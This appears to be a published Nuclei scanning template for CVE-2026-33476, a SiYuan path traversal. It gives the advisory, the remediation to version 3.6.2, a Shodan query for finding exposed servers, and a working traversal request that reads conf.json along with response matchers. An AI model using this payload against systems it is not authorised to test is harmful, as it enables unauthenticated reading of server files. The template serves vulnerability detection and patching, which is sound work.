CVE-2026-33476: SiYuan <= v3.6.1 - Path Traversal

2026-06-17 SiYuan PoC Public

Description

SiYuan is a personal knowledge management system. Prior to version 3.6.2, the Siyuan kernel exposes an unauthenticated file-serving endpoint under `/appearance/*filepath.` Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process. Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials. Version 3.6.2 fixes this issue.

PoC

id: CVE-2026-33476

info:
  name: SiYuan <= v3.6.1 - Path Traversal
  author: WRG-11
  severity: high
  description: |
    SiYuan is a personal knowledge management system. Prior to version 3.6.2, the Siyuan kernel exposes an unauthenticated file-serving endpoint under `/appearance/*filepath.` Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process. Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials. Version 3.6.2 fixes this issue.
  impact: |
    Unauthenticated attackers can read arbitrary files accessible to the server, potentially exposing sensitive information.
  remediation: |
    Update to version 3.6.2 or later.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hhgj-gg9h-rjp7
    - https://github.com/siyuan-note/siyuan/commit/009bb598b3beccc972aa5f1ed88b3b224326bf2a
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33476
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-33476
    epss-score: 0.03256
    epss-percentile: 0.8772
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: siyuan-note
    product: siyuan
    shodan-query: http.favicon.hash:-1450125239
  tags: cve,cve2026,siyuan,lfi,traversal,exposure

http:
  - raw:
      - |
        GET /appearance/langs/../../conf.json HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"kernelVersion"'
          - '"logLevel"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008325e9f11cbb0f6497a563cc8bfec89f48a63b62f3e93745336974d23904f81102204026de92ec92a02e3f0e7621d7634bfe8ba4573b00d4b01331d72f0ef8a86c0d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-33476.yaml

References

Related Vulnerabilities